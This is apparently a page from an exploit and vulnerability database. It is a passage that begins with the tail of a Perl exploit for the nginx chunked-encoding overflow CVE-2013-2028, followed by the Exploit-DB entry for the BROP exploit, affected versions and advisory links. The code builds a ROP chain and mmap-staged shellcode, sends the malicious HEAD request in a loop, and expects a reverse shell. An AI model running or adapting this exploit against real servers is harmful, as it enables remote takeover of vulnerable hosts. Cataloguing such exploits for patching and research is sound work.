."\xeb\xff"; $memsetcode = ""; $copyaddress = 0x10000000; for ($i=0;$i<length($copycode);$i++) { $byte = substr($copycode, $i, 1); $memsetcode .= pack("V", $memset) . pack("V", $pop3ret) . pack("V", $copyaddress) . $byte . "\x00\x00\x00" . "\x01\x00\x00\x00"; $copyaddress++; } for ($q=0;$q<10;$q++) { print "bin search done "; sleep(1); twinkle(); print "\r" } print "\n"; print "See reverse handler for success\n"; again6: $sock = IO::Socket::INET->new(PeerAddr => $target, PeerPort => $targetport, Proto => 'tcp') || {goto again6}; setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000); $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n" ."Connection: close\r\n" ."Transfer-Encoding:chunked\r\n\r\n"; $req .= "0" x (1024-length($req)-16) . "8000000000003770"; $stack = pack("V", $mmap64) . $largepopret ."\x00\x00\x00\x10" # mmap start ."\x00\x10\x00\x00" # mmap size ."\x07\x00\x00\x00" # mmap prot ."\x32\x00\x00\x00" # mmap flags ."\xff\xff\xff\xff" # mmap fd ."\x00\x00\x00\x00" # mmap offset ."\x00\x00\x00\x00" # mmap offset . $popblock . $memsetcode . "\x00\x00\x00\x10" # JUMP TO 0x10000000 (rwxp addr) . "\x90" x 100 . $lnxcbsc; #$p = <stdin>; print $sock $req; send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB); close($sock); goto again6; # XXX my $current = 0; sub twinkle { $cursors[0] = "|"; $cursors[1] = "/"; $cursors[2] = "-"; $cursors[3] = "\\"; print "$cursors[$current++]\b"; if ($current > 3) { $current = 0; } }
Exploit Database EDB-ID : 32277

Publication date : 2014-03-14 23h00 +00:00
Author : sorbo
EDB Verified : No

nginx <= 1.4.0 exploit for CVE-2013-2028 by sorbo Fri Jul 12 14:52:45 PDT 2013 ./brop.rb 127.0.0.1 for remote hosts: ./frag.sh ip ./brop.rb ip rm state.bin when changing host (or relaunching nginx with canaries) scan.py will find servers, reading IPs from ips.txt This is a generic exploit for 64-bit nginx which uses a new attack technique (BROP) that does not rely on a particular target binary. It will work on any distro and even compiled from source installations. Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32277.tgz

Products Mentioned

Configuraton 0

F5>>Nginx >> Version From (including) 1.3.9 To (including) 1.4.0

Configuraton 0

Fedoraproject>>Fedora >> Version 19

References

http://www.osvdb.org/93037
Tags : vdb-entry, x_refsource_OSVDB
http://secunia.com/advisories/55181
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/59699
Tags : vdb-entry, x_refsource_BID
http://security.gentoo.org/glsa/glsa-201310-04.xml
Tags : vendor-advisory, x_refsource_GENTOO